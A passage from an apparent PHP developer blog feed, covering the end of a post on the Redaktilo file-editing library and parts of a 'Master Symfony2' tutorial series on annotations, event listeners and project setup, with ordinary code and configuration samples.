<p>No more <code>array_splice</code> nonsense!</p>

<pre><code class="php">&lt;?php

require __DIR__.'/vendor/autoload.php';

use Gnugat\Redaktilo\EditorFactory;

$editor = EditorFactory::createEditor();
$file = $editor-&gt;open('/tmp/silly-walk-song.txt');

$editor-&gt;insertAbove($file, 'The silly walk song');
</code></pre>

<blockquote>
  <p><strong>Note</strong>: <code>insertAbove</code>, <code>insertBelow</code>, <code>replace</code> and <code>remove</code> all have a
  third argument which is a line number. If provided, the anipulation will be
  done relatively to it, instead of relatively to the current one.</p>
</blockquote>

<h3 id="using-text">Using Text</h3>

<p>If you're not manipulating a file, you can use <code>Text</code> just like we used
<code>File</code>:</p>

<pre><code class="php">&lt;?php

require __DIR__.'/vendor/autoload.php';

use Gnugat\Redaktilo\EditorFactory;
use Gnugat\Redaktilo\Service\LineBreak;
use Gnugat\Redaktilo\Service\TextFactory;

$lineBreak = new LineBreak();
$textFactory = new TextFactory($lineBreak);

$text = $textFactory-&gt;make(&lt;&lt;&lt;EOF
Some raw text you would have got from somewhere,
for example a database.
EOF
);

$editor = EditorFactory::createEditor();
$editor-&gt;hasBelow($text, '/a database/'); // Returns true
</code></pre>

<h3 id="cheat-sheet">Cheat Sheet</h3>

<p>There's many more operations available, as you can discover in
<a href="https://github.com/gnugat/redaktilo/tree/master/doc">the documentation</a>.</p>

<p>To make it easier, here's some cheat sheet.</p>

<h4 id="editor">Editor</h4>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo;

use Gnugat\Redaktilo\Search\PatternNotFoundException;
use Gnugat\Redaktilo\Search\SearchEngine;
use Gnugat\Redaktilo\Service\Filesystem;
use Symfony\Component\Filesystem\Exception\FileNotFoundException;
use Symfony\Component\Filesystem\Exception\IOException;

class Editor
{
    public function open($filename, $force = false); // @throws FileNotFoundException
    public function save(File $file); // @throws IOException If cannot write

    // @throw PatternNotFoundException
    public function jumpAbove(Text $text, $pattern, $location = null);
    public function jumpBelow(Text $text, $pattern, $location = null);

    // @return bool
    public function hasAbove(Text $text, $pattern, $location = null);
    public function hasBelow(Text $text, $pattern, $location = null);

    public function insertAbove(Text $text, $addition, $location = null);
    public function insertBelow(Text $text, $addition, $location = null);
    public function replace(Text $text, $replacement, $location = null);
    public function remove(Text $text, $location = null);
}
</code></pre>

<h4 id="text">Text</h4>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo;

class Text
{
    public function getLines();
    public function setLines(array $lines);
    public function getLength();
    public function getLineBreak();
    public function setLineBreak($lineBreak);
    public function getCurrentLineNumber();

    // @throw InvalidLineNumberException
    public function setCurrentLineNumber($lineNumber);
    public function getLine($lineNumber = null);
    public function setLine($line, $lineNumber = null);
}
</code></pre>

<h4 id="file">File</h4>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo;

class File extends Text
{
    public function getFilename();
    public function setFilename($filename);
}
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>PHP provides plenty of built-in functions to manipulate arrays, but those are
not enough. <a href="https://github.com/gnugat/redaktilo">Redaktilo</a> is a small library
which provides a nicer API.</p>

<p>It allows you to select a line relatively to the current one and then do CRUD
operations on it.</p>

<p>I hope you'll find it as usefull as I do and if you find any bug or have any
proposals feel free to do so on <a href="https://github.com/gnugat/redaktilo/issues">Github</a>
where <a href="http://loickpiera.com/">Loïck Piera</a> and myself will both be glad to help
you.</p>

<blockquote>
  <p><strong>Note</strong>: As for the 15/10/2014, the current version of Redaktilo is 1.1.6
  (stable). Future updates are already planned!</p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Master Symfony2 - Conclusion]]></title>
            <link href="/2014/10/08/master-sf2-conclusion.html"/>
            <updated>2014-10-08T00:00:00+01:00</updated>
            <id>/2014/10/08/master-sf2-conclusion.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the conclusion of the series on mastering the
<a href="http://symfony.com/">Symfony2</a> framework. Have a look at the five articles:</p>

<ul>
<li><a href="/2014/08/05/master-sf2-part-1-bootstraping.html">1: Bootstraping</a></li>
<li><a href="/2014/08/13/master-sf2-part-2-tdd.html">2: TDD</a></li>
<li><a href="/2014/08/22/master-sf2-part-3-services.html">3: Services</a></li>
<li><a href="/2014/08/27/master-sf2-part-4-doctrine.htm">4: Doctrine</a></li>
<li><a href="/2014/09/03/master-sf2-part-5-events.html">5: Events</a></li>
<li><a href="/2014/09/10/master-sf2-part-6-annotations.html">6: Annotations</a></li>
</ul>

<p>It quickly sums up what we've seen and provides some directions to the next
steps, for those interrested in learning more (there's always more!).</p>

<h2 id="summary">Summary</h2>

<p>In these 6 articles, we've learned how to master Symfony2 through:</p>

<ol>
<li>the usage of distributions to bootstrap our projects</li>
<li>the writing of simple functional tests (we used TDD/PHPUnit but any methodology/Framework can be used)</li>
<li>the creation of services and entities (where our business related code actually lies)</li>
<li>the usage of a third party library (Doctrine)</li>
<li>the extension of the framework via events (change the Request and Response at will)</li>
<li>the configuration via annotations, allowing to reduce the distance with the code</li>
</ol>

<p>As a bonus, we've also seen:</p>

<ul>
<li>the Repository Design Pattern (retrieve data and format it before using it)</li>
<li>the Symfony Console Component, which can be used as a standalone library</li>
</ul>

<h2 id="going-further">Going further</h2>

<p>There's still a deal lot more to learn, but with this series we've hopefully
seen the strict minimum to create any day to day application with deep knowledge
on how to extend the framework and where to put our code.</p>

<p>We've seen Symfony as a full stack framework: it deals with the HTTP protocol
for you. But the truth is that Symfony is a collection of third party libraries
before anything else. Here's a short selection of its available components:</p>

<ul>
<li>Validation: define constraints and check if the given variable complies to them</li>
<li>Form: define fields, generate the HTML form and populate variables from the request</li>
<li>Yaml: parse a yaml file</li>
<li>Security: check the identity users and their permissions</li>
</ul>

<p>Do you want to go further? Then have a look a these fabulous resources:</p>

<ul>
<li><a href="http://symfony.com/doc/current/index.html">The documentation</a></li>
<li><a href="https://twitter.com/raulfraile">Raul Fraile</a> overview articles on the:

<ul>
<li><a href="http://blog.servergrove.com/2013/09/23/symfony2-components-overview-httpfoundation/">HttpFoundation Component</a></li>
<li><a href="http://blog.servergrove.com/2013/09/30/symfony2-components-overview-httpkernel/">HttpKernel Component</a></li>
<li><a href="http://blog.servergrove.com/2013/10/08/symfony2-components-overview-routing/">Routing Component</a></li>
<li><a href="http://blog.servergrove.com/2013/10/23/symfony2-components-overview-eventdispatcher/">EventDispather Component</a></li>
<li><a href="http://blog.servergrove.com/2014/02/21/symfony2-components-overview-config/">Config Component</a></li>
<li><a href="http://blog.servergrove.com/2014/03/03/symfony2-components-overview-validator/">Validator Component</a></li>
<li><a href="http://blog.servergrove.com/2014/03/11/symfony2-components-overview-templating/">Templating Component</a></li>
<li><a href="http://blog.servergrove.com/2014/03/18/symfony2-components-overview-translation/">Translation Component</a></li>
<li><a href="http://blog.servergrove.com/2014/03/26/symfony2-components-overview-finder/">Finder Component</a></li>
<li><a href="http://blog.servergrove.com/2014/04/07/symfony2-components-overview-expression-language/">ExpressionLanguage Component</a></li>
<li><a href="http://blog.servergrove.com/2014/04/16/symfony2-components-overview-process/">Process Component</a></li>
</ul></li>
<li><a href="https://twitter.com/khepin">Sebastien Armand</a>'s book <a href="http://www.amazon.co.uk/Extending-Symfony-Web-Application-Framework/dp/1783287195">Extending Symfony Web Application Framework</a></li>
<li><a href="https://twitter.com/matthiasnoback">Matthias Noback</a>'s book <a href="http://www.amazon.co.uk/Year-With-Symfony-reusable-Symfony2/dp/9082120119">A Year with Symfony</a></li>
<li><a href="https://twitter.com/kriswallsmith">Kris Walsmith</a> slides on the <a href="http://www.slideshare.net/kriswallsmith/love-and-loss-a-symfony-security-play">Security Component</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Master Symfony2 - part 6: Annotations]]></title>
            <link href="/2014/09/10/master-sf2-part-6-annotations.html"/>
            <updated>2014-09-10T00:00:00+01:00</updated>
            <id>/2014/09/10/master-sf2-part-6-annotations.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the sixth article of the series on mastering the
<a href="http://symfony.com/">Symfony2</a> framework. Have a look at the four first ones:</p>

<ul>
<li><a href="/2014/08/05/master-sf2-part-1-bootstraping.html">1: Bootstraping</a></li>
<li><a href="/2014/08/13/master-sf2-part-2-tdd.html">2: TDD</a></li>
<li><a href="/2014/08/22/master-sf2-part-3-services.html">3: Services</a></li>
<li><a href="/2014/08/27/master-sf2-part-4-doctrine.htm">4: Doctrine</a></li>
<li><a href="/2014/09/03/master-sf2-part-5-events.html">5: Events</a></li>
</ul>

<p>In the previous articles we created an API allowing us to submit and list
quotes:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── cache
│   │   └── .gitkeep
│   ├── config
│   │   ├── config_prod.yml
│   │   ├── config_test.yml
│   │   ├── config.yml
│   │   ├── doctrine.yml
│   │   ├── parameters.yml
│   │   ├── parameters.yml.dist
│   │   └── routing.yml
│   ├── console
│   ├── logs
│   │   └── .gitkeep
│   └── phpunit.xml.dist
├── composer.json
├── composer.lock
├── src
│   └── Fortune
│       └── ApplicationBundle
│           ├── Controller
│           │   └── QuoteController.php
│           ├── DependencyInjection
│           │   └── FortuneApplicationExtension.php
│           ├── Entity
│           │   ├── QuoteFactory.php
│           │   ├── QuoteGateway.php
│           │   ├── Quote.php
│           │   └── QuoteRepository.php
│           ├── EventListener
│           │   └── SubmitJsonListener.php
│           ├── FortuneApplicationBundle.php
│           ├── Resources
│           │   └── config
│           │       ├── doctrine
│           │       │   └── Quote.orm.yml
│           │       └── services.xml
│           └── Tests
│               ├── Controller
│               │   └── QuoteControllerTest.php
│               └── Entity
│                   └── QuoteRepositoryTest.php
└── web
    └── app.php
</code></pre>

<p>Here's the <a href="https://github.com/gnugat/mastering-symfony2">repository where you can find the actual code</a>.</p>

<p>In this article, we'll discover annotations.</p>

<h2 id="doctrine-annotations">Doctrine Annotations</h2>

<p>Inspired by <a href="http://legacy.python.org/dev/peps/pep-0318/">Python Decorators</a> and
<a href="http://docs.oracle.com/javase/tutorial/java/annotations/">Java Annotations</a>,
the <a href="http://www.doctrine-project.org/">Doctrine Project</a> created a convenient
library allowing to put in the same file: information (like configuration) and
source code.</p>

<p>In concrete terms, <a href="http://docs.doctrine-project.org/projects/doctrine-common/en/latest/reference/annotations.html">Annotations</a>
are comments which are read by <code>AnnotationReader</code> and can then be cached in any
format (generally PHP) to make things faster afterwards.</p>

<p>It's main strength is the possibility to avoid having a configuration file in a
path too far from the source code which uses it. For example intead of having
the schema definition in <code>src/Fortune/ApplicationBundle/Resources/config/doctrine/Quote.orm.yml</code>
we could have it directly in the <code>QuoteEntity</code>.</p>

<h2 id="installing-sensio-frameworkextra-bundle">Installing Sensio FrameworkExtra Bundle</h2>

<p>The <a href="http://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html">Sensio FrameworkExtra Bundle</a>
provides controller annotations, amongst them lies <code>@Route</code> allowing us to move
the routing configuration from <code>app/config/routing.yml</code> directly to the actions.</p>

<p>Let's download the bundle:</p>

<pre><code>composer require sensio/framework-extra-bundle:~3.0
</code></pre>

<p>Then register it:</p>

<pre><code>&lt;?php
// File: app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;
use Symfony\Component\Config\Loader\LoaderInterface;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        return array(
            new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
            new Fortune\ApplicationBundle\FortuneApplicationBundle(),
            new Doctrine\Bundle\DoctrineBundle\DoctrineBundle(),
            new Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle(),
        );
    }

    public function registerContainerConfiguration(LoaderInterface $loader)
    {
        $loader-&gt;load(__DIR__.'/config/config_'.$this-&gt;getEnvironment().'.yml');
    }
}
</code></pre>

<p>Finally, we need to tell Doctrine's Annotation library  where to find the
classes by registering Composer's autoloader:</p>

<pre><code>&lt;?php
// File: app/autoload.php

use Doctrine\Common\Annotations\AnnotationRegistry;

$loader = require __DIR__.'/../vendor/autoload.php';

AnnotationRegistry::registerLoader(array($loader, 'loadClass'));

return $loader;
</code></pre>

<p>This file should be used in our front controller:</p>

<pre><code>&lt;?php

use Symfony\Component\HttpFoundation\Request;

require_once __DIR__.'/app/autoload.php';
require_once __DIR__.'/../app/AppKernel.php';

$kernel = new AppKernel('prod', false);
$request = Request::createFromGlobals();
$response = $kernel-&gt;handle($request);
$response-&gt;send();
$kernel-&gt;terminate($request, $response);
</code></pre>

<p>But also in our test suite:</p>

<pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!-- http://phpunit.de/manual/current/en/appendixes.configuration.html --&gt;
&lt;phpunit
    backupGlobals="false"
    colors="true"
    syntaxCheck="false"
    bootstrap="autoload.php"&gt;

    &lt;testsuites&gt;
        &lt;testsuite name="Functional Test Suite"&gt;
            &lt;directory&gt;../src/*/*/Tests&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;
&lt;/phpunit&gt;
</code></pre>

<h2 id="using-the-%40route-annotation">Using the @Route annotation</h2>

<p>We can now empty the <code>routing.yml</code> file and tell it to import the configuration
from the <code>QuoteController</code> using its annotations:</p>

<pre><code># File: app/config/routing.yml
fortune_application:
    resource: @FortuneApplicationBundle/Controller
    type: annotation
</code></pre>

<p>The controller itself will look like this:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Controller/QuoteController.php

namespace Fortune\ApplicationBundle\Controller;

use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\JsonResponse;

class QuoteController extends Controller
{
    /**
     * @Route("/api/quotes", methods={"POST"})
     */
    public function submitAction(Request $request)
    {
        $postedValues = $request-&gt;request-&gt;all();
        if (empty($postedValues['content'])) {
            $answer = array('message' =&gt; 'Missing required parameter: content');

            return new JsonResponse($answer, Response::HTTP_UNPROCESSABLE_ENTITY);
        }
        $quoteRepository = $this-&gt;container-&gt;get('fortune_application.quote_repository');
        $quote = $quoteRepository-&gt;insert($postedValues['content']);

        return new JsonResponse($quote, Response::HTTP_CREATED);
    }

    /**
     * @Route("/api/quotes", methods={"GET"})
     */
    public function listAction(Request $request)
    {
        $quoteRepository = $this-&gt;container-&gt;get('fortune_application.quote_repository');
        $quotes = $quoteRepository-&gt;findAll();

        return new JsonResponse($quotes, Response::HTTP_OK);
    }
}
</code></pre>

<p>And now annotations are ready to be used, as the tests prove it:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p>That's green enough for us to commit:</p>

<pre><code>git add -A
git commit -m 'Used annotations'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Annotations allow us to remove the distance between configuration and code.</p>

<blockquote>
  <p><strong>Note</strong>: You should know that annotations can
  <a href="https://r.je/php-annotations-are-an-abomination.html">raise concerns about tight coupling</a>,
  but it doesn't seem to be <a href="http://marekkalnik.tumblr.com/post/34047514685/are-annotations-really-bad">relevant when used as configuration</a>.</p>
  
  <p>The best thing to do is to minimize their use to the classes which are
  already coupled to our tools (for example the controllers) and do some
  research on the subject to make your own opinion.</p>
</blockquote>

<p>If the concept seduced you, have a look a <a href="https://github.com/mmoreram/ControllerExtraBundle">ControllerExtraBundle</a>.</p>

<p>The next artile will be the conclusion, I hope you enjoy this series!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Master Symfony2 - part 5: Events]]></title>
            <link href="/2014/09/03/master-sf2-part-5-events.html"/>
            <updated>2014-09-03T00:00:00+01:00</updated>
            <id>/2014/09/03/master-sf2-part-5-events.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the fifth article of the series on mastering the
<a href="http://symfony.com/">Symfony2</a> framework. Have a look at the four first ones:</p>

<ul>
<li><a href="/2014/08/05/master-sf2-part-1-bootstraping.html">1: Bootstraping</a></li>
<li><a href="/2014/08/13/master-sf2-part-2-tdd.html">2: TDD</a></li>
<li><a href="/2014/08/22/master-sf2-part-3-services.html">3: Services</a></li>
<li><a href="/2014/08/27/master-sf2-part-4-doctrine.htm">4: Doctrine</a></li>
</ul>

<p>In the previous articles we created an API allowing us to submit and list
quotes:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── cache
│   │   └── .gitkeep
│   ├── config
│   │   ├── config_prod.yml
│   │   ├── config_test.yml
│   │   ├── config.yml
│   │   ├── doctrine.yml
│   │   ├── parameters.yml
│   │   ├── parameters.yml.dist
│   │   └── routing.yml
│   ├── logs
│   │   └── .gitkeep
│   └── phpunit.xml.dist
├── composer.json
├── composer.lock
├── src
│   └── Fortune
│       └── ApplicationBundle
│           ├── Controller
│           │   └── QuoteController.php
│           ├── DependencyInjection
│           │   └── FortuneApplicationExtension.php
│           ├── Entity
│           │   ├── QuoteFactory.php
│           │   ├── QuoteGateway.php
│           │   ├── Quote.php
│           │   └── QuoteRepository.php
│           ├── FortuneApplicationBundle.php
│           ├── Resources
│           │   └── config
│           │       ├── doctrine
│           │       │   └── Quote.orm.yml
│           │       └── services.xml
│           └── Tests
│               ├── Controller
│               │   └── QuoteControllerTest.php
│               └── Entity
│                   └── QuoteRepositoryTest.php
└── web
    └── app.php
</code></pre>

<p>Here's the <a href="https://github.com/gnugat/mastering-symfony2">repository where you can find the actual code</a>.</p>

<p>In this one we'll learn how to extend the framework using events.</p>

<h2 id="eventdispatcher-component">EventDispatcher Component</h2>

<p>The <a href="http://symfony.com/doc/current/components/event_dispatcher/introduction.html">Event Dispatcher</a>
is another standalone component which can be summed up as follow:</p>

<pre><code>&lt;?php

class EventDispatcher
{
    private $events = array();

    public function addListener($event, $listener)
    {
        $this-&gt;events[$event][] = $listener;
    }

    public function dispatch($event)
    {
        foreach ($this-&gt;events[$event] as $listener) {
            $listener();
        }
    }
}
</code></pre>

<p>You can register listeners (which are callables) and then call them by
dispatching the subscribed event:</p>

<pre><code>$dispatcher = new EventDispatcher();
$dispatcher-&gt;addListener('before.boyard', function () { echo 'Ultimate Challenge'; });
$dispatcher-&gt;dispatch('before.boyard'); // Prints "Ultimate Challenge".
</code></pre>

<p>Here's the actual API:</p>

<pre><code>&lt;?php

namespace Symfony\Component\EventDispatcher;

interface EventDispatcherInterface
{
    public function dispatch($eventName, Event $event = null);

    public function addListener($eventName, $listener, $priority = 0);
    public function removeListener($eventName, $listener);
    public function getListeners($eventName = null);
    public function hasListeners($eventName = null);

    public function addSubscriber(EventSubscriberInterface $subscriber);
    public function removeSubscriber(EventSubscriberInterface $subscriber);
}
</code></pre>

<p>The Component handles priorities, and contrary to our previous example it needs
an <code>Event</code> object when dispatching events, allowing us to provide a context.</p>

<p>Subscribers are listeners which have a <code>getSubscribedEvents</code> method.</p>

<p><strong>Note</strong>: If you want to learn more about this component, have a look at
<a href="https://twitter.com/raulfraile">Raul Fraile</a>'s <a href="http://blog.servergrove.com/2013/10/23/symfony2-components-overview-eventdispatcher/">article</a>.</p>

<h2 id="in-the-fullstack-framework">In the fullstack framework</h2>

<p>The <a href="http://symfony.com/doc/current/components/http_kernel/introduction.html">Symfony2 HttpKernel Component</a>
dispatches events to provide extension points, we can:</p>

<ul>
<li>modify the Request when it has just been received: <a href="http://symfony.com/doc/current/components/http_kernel/introduction.html#the-kernel-request-event">kernel.request</a></li>
<li>change the controller when it has been guessed: <a href="http://symfony.com/doc/current/components/http_kernel/introduction.html#the-kernel-controller-event">kernel.controller</a></li>
<li>use the value returned by the controller: <a href="http://symfony.com/doc/current/components/http_kernel/introduction.html#the-kernel-view-event">kernel.view</a></li>
<li>change the Response when it has been created: <a href="http://symfony.com/doc/current/components/http_kernel/introduction.html#the-kernel-response-event">kernel.response</a></li>
<li><a href="https://github.com/symfony/symfony/pull/8904">handle global state and cleanup</a>: kernel.finish_request</li>
<li>handle exceptions: <a href="http://symfony.com/doc/current/components/http_kernel/introduction.html#handling-exceptions-the-kernel-exception-event">kernel.exception</a></li>
</ul>

<p><strong>Note</strong>: exceptions are caught by default, but this can be disabled.</p>

<p>Here's the <a href="http://symfony.com/doc/current/components/http_kernel/introduction.html#component-http-kernel-event-table">full list of kernel events</a>.</p>

<p><strong>Note</strong>: If you want to learn more about those events, have a look at
<a href="https://twitter.com/matthiasnoback">Matthias Noback</a>'s book:
<a href="https://leanpub.com/a-year-with-symfony?utm_campaign=a-year-with-symfony&amp;utm_medium=embed&amp;utm_source=gnugat.github.io">A year with Symfony</a>.</p>

<p>The FrameworkBundle takes care of registering the listeners using the
Dependency Injection Container (DIC): we declare our listener as a service in
the configuration, with a specific tag.</p>

<p><strong>Note</strong>: the DIC can retrieve all the services with the given tag using
<code>findTaggedServiceIds</code>, making it easier to register listeners for example
(this is done in <code>Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass</code>
which is called in the <a href="https://github.com/symfony/symfony/blob/f940d92a32e4d70cbe045ab8e1b3c70d3eb6061e/src/Symfony/Bundle/FrameworkBundle/FrameworkBundle.php#L71">FrameworkBundle</a>).</p>

<h2 id="submitted-json">Submitted JSON</h2>

<p>In <code>QuoteController::submitAction</code>, we need to get the request's content and
convert it from JSON. This is a generic task which should be executed before
every controller: we can move it in an event listener.</p>

<p>First create the directory:</p>

<pre><code>mkdir src/Fortune/ApplicationBundle/EventListener
</code></pre>

<p>Then we create the actual listener:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/EventListener/SubmitJsonListener.php

namespace Fortune\ApplicationBundle\EventListener;

use Symfony\Component\HttpKernel\Event\GetResponseEvent;

class SubmitJsonListener
{
    public function onKernelRequest(GetResponseEvent $event)
    {
        $request = $event-&gt;getRequest();
        $content = $request-&gt;getContent();
        $data = json_decode($content, true);
        $request-&gt;request-&gt;add($data ?: array());
    }
}
</code></pre>

<p>Next we register it in the Dependency Injection Container:</p>

<pre><code>&lt;?xml version="1.0" ?&gt;
&lt;!-- File: src/Fortune/ApplicationBundle/Resources/config/services.xml --&gt;

&lt;container xmlns="http://symfony.com/schema/dic/services"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd"&gt;
    &lt;services&gt;
        &lt;service id="fortune_application.quote_factory"
            class="Fortune\ApplicationBundle\Entity\QuoteFactory"
        &gt;
        &lt;/service&gt;
        &lt;service id="fortune_application.quote_gateway"
            class="Fortune\ApplicationBundle\Entity\QuoteGateway"
            factory-service="doctrine"
            factory-method="getRepository"&gt;
            &lt;argument&gt;FortuneApplicationBundle:Quote&lt;/argument&gt;
        &lt;/service&gt;
        &lt;service id="fortune_application.quote_repository"
            class="Fortune\ApplicationBundle\Entity\QuoteRepository"
        &gt;
            &lt;argument type="service" id="fortune_application.quote_gateway" /&gt;
            &lt;argument type="service" id="fortune_application.quote_factory" /&gt;
        &lt;/service&gt;
        &lt;service id="fortune_application.submit_json_listener"
            class="Fortune\ApplicationBundle\EventListener\SubmitJsonListener"
        &gt;
            &lt;tag name="kernel.event_listener" event="kernel.request" method="onKernelRequest" /&gt;
        &lt;/service&gt;
    &lt;/services&gt;
&lt;/container&gt;
</code></pre>

<p>And finally we update the controller:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Controller/QuoteController.php

namespace Fortune\ApplicationBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\JsonResponse;

class QuoteController extends Controller
{
    public function submitAction(Request $request)
    {
        $postedValues = $request-&gt;request-&gt;all();
        if (empty($postedValues['content'])) {
            $answer = array('message' =&gt; 'Missing required parameter: content');

            return new JsonResponse($answer, Response::HTTP_UNPROCESSABLE_ENTITY);
        }
        $quoteRepository = $this-&gt;container-&gt;get('fortune_application.quote_repository');
        $quote = $quoteRepository-&gt;insert($postedValues['content']);

        return new JsonResponse($quote, Response::HTTP_CREATED);
    }

    public function listAction(Request $request)
    {
        $quoteRepository = $this-&gt;container-&gt;get('fortune_application.quote_repository');
        $quotes = $quoteRepository-&gt;findAll();

        return new JsonResponse($quotes, Response::HTTP_OK);
    }
}
</code></pre>

<p>We can now run the tests:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p>No regression detected! We can commit our work:</p>

<pre><code>git add -A
git ci -m 'Used event'
</code></pre>

<p><strong>Note</strong>: The <a href="https://github.com/FriendsOfSymfony/FOSRestBundle">FOSRestBundle</a>
provides such an event listener. We're only creating it manually here to learn
about events.</p>

<h2 id="managing-errors-in-a-listener">Managing errors in a listener</h2>

<p>If someone submits a malformed JSON, our listener can stop the execution and
return a proper response:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/EventListener/SubmitJsonListener.php

namespace Fortune\ApplicationBundle\EventListener;

use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpKernel\Event\GetResponseEvent;

class SubmitJsonListener
{
    public function onKernelRequest(GetResponseEvent $event)
    {
        $request = $event-&gt;getRequest();
        $content = $request-&gt;getContent();
        $data = json_decode($content, true);
        if (JSON_ERROR_NONE !== json_last_error()) {
            $data = array('message' =&gt; 'Invalid or malformed JSON');
            $response = new JsonResponse($data, Response::HTTP_BAD_REQUEST);
            $event-&gt;setResponse($response);
            $event-&gt;stopPropagation();
        }
        $request-&gt;request-&gt;add($data ?: array());
    }
}
</code></pre>

<p>By setting a response in the event, the <code>HttpKernel</code> will almost stop (it
dispatches a <code>kernel.response</code> event and an extra <code>kernel.finish_request</code> event)
and return it.</p>

<p>By using <code>stopPropagation</code>, we prevent further <code>kernel.request</code> listeners from
being executed.</p>

<p>Have a look at <a href="https://github.com/symfony/symfony/blob/f940d92a32e4d70cbe045ab8e1b3c70d3eb6061e/src/Symfony/Component/HttpKernel/HttpKernel.php#L120">HttpKernel::handleRaw</a>
to discover what's going on.</p>

<p>Let's run the tests one last time:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p>All green, we can commit our work:</p>

<pre><code>git add -A
git ci -m 'Handled errors'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Events are a powerful way to extend the framework: you create a listener,
register it on a specific event and you're done.</p>

<p>Kernel events aren't the only ones available:
<a href="http://doctrine-orm.readthedocs.org/en/latest/reference/events.html">Doctrine provides its own</a>,
(it uses its own event dispatcher library)
<a href="http://symfony.com/doc/current/components/form/form_events.html">the Symfony2 Form Component uses them</a>
and we could even <a href="http://isometriks.com/symfony2-custom-events">create our own events</a>!</p>

<p>The only drawback is that they're sort of hidden: by looking at the controller's
code we cannot know that submitted JSON has been handled, we lose explicitness.</p>

<p>The next article will be about annotations.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Master Symfony2 - part 4: Doctrine]]></title>
            <link href="/2014/08/27/master-sf2-part-4-doctrine.html"/>
            <updated>2014-08-27T00:00:00+01:00</updated>
            <id>/2014/08/27/master-sf2-part-4-doctrine.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the fourth article of the series on mastering the
<a href="http://symfony.com/">Symfony2</a> framework. Have a look at the three first ones:</p>

<ul>
<li><a href="/2014/08/05/master-sf2-part-1-bootstraping.html">1: Bootstraping</a></li>
<li><a href="/2014/08/13/master-sf2-part-2-tdd.html">2: TDD</a></li>
<li><a href="/2014/08/22/master-sf2-part-3-services.html">3: Services</a></li>
</ul>

<p>In the previous articles we created an API allowing us to submit and list
quotes:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── cache
│   │   └── .gitkeep
│   ├── config
│   │   ├── config_prod.yml
│   │   ├── config_test.yml
│   │   ├── config.yml
│   │   ├── parameters.yml
│   │   ├── parameters.yml.dist
│   │   └── routing.yml
│   ├── logs
│   │   └── .gitkeep
│   └── phpunit.xml.dist
├── composer.json
├── composer.lock
├── src
│   └── Fortune
│       └── ApplicationBundle
│           ├── Controller
│           │   └── QuoteController.php
│           ├── DependencyInjection
│           │   └── FortuneApplicationExtension.php
│           ├── Entity
│           │   ├── QuoteFactory.php
│           │   ├── QuoteGateway.php
│           │   ├── Quote.php
│           │   └── QuoteRepository.php
│           ├── FortuneApplicationBundle.php
│           ├── Resources
│           │   └── config
│           │       └── services.xml
│           └── Tests
│               ├── Controller
│               │   └── QuoteControllerTest.php
│               └── Entity
│                   └── QuoteRepositoryTest.php
└── web
    └── app.php
</code></pre>

<p>Here's the <a href="https://github.com/gnugat/mastering-symfony2">repository where you can find the actual code</a>.</p>

<p>In this one we'll use real database persistence using
<a href="http://www.doctrine-project.org/projects/orm.html">Doctrine ORM</a>, a third party
bundle, the command line console and a mocking library.</p>

<p><strong>Note</strong>: Symfony2 isn't coupled to any ORM or database library. We could use
anything else like <a href="http://php.net/manual/en/book.pdo.php">PDO</a>,
<a href="http://propelorm.org/">Propel ORM</a>, <a href="http://www.pomm-project.org/">POMM</a>, or
anything you want!</p>

<h2 id="installing-doctrinebundle">Installing DoctrineBundle</h2>

